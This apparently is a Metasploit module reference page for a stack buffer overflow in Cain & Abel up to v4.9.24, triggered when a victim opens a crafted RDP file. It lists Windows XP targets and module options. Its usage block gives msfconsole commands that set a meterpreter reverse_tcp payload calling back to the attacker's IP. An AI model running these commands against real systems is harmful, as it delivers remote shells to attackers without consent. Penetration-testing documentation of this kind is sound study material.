Metasploit Penetration Testing Framework

Cain & Abel <= v4.9.24 RDP Buffer Overflow.

This module exploits a stack-based buffer overflow in the Cain & Abel v4.9.24 and below. An attacker must send the file to victim, and the victim must open the specially crafted RDP file under Tools -> Remote Desktop Password Decoder.

Rank

Good

Authors

Trancek < trancek [at] yashira.org >

References

Exploit Targets

0 - Windows XP SP2 English (default)
1 - Windows XP SP0/1 English
2 - Windows XP SP2 Spanish

Development

Similar Modules

Usage Information

$ msfconsole

                ##                          ###           ##    ##
##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/fileformat/cain_abel_4918_rdp
msf exploit(cain_abel_4918_rdp) > show payloads
msf exploit(cain_abel_4918_rdp) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(cain_abel_4918_rdp) > set LHOST [MY IP ADDRESS]
msf exploit(cain_abel_4918_rdp) > exploit

Module Options

FILENAME	The file name. (default: exploit_cain.rdp)
OUTPUTPATH	The location of the file. (default: /usr/lib/msf3/data/exploits)
ContextInformationFile	The information file that contains context information
DisablePayloadHandler	Disable the handler code for the selected payload
EnableContextEncoding	Use transient context when encoding payloads
WORKSPACE	Specify the workspace for this module
WfsDelay	Additional delay when waiting for a session

OSVDB:	CVE:
BID:	MSB:
TEXT: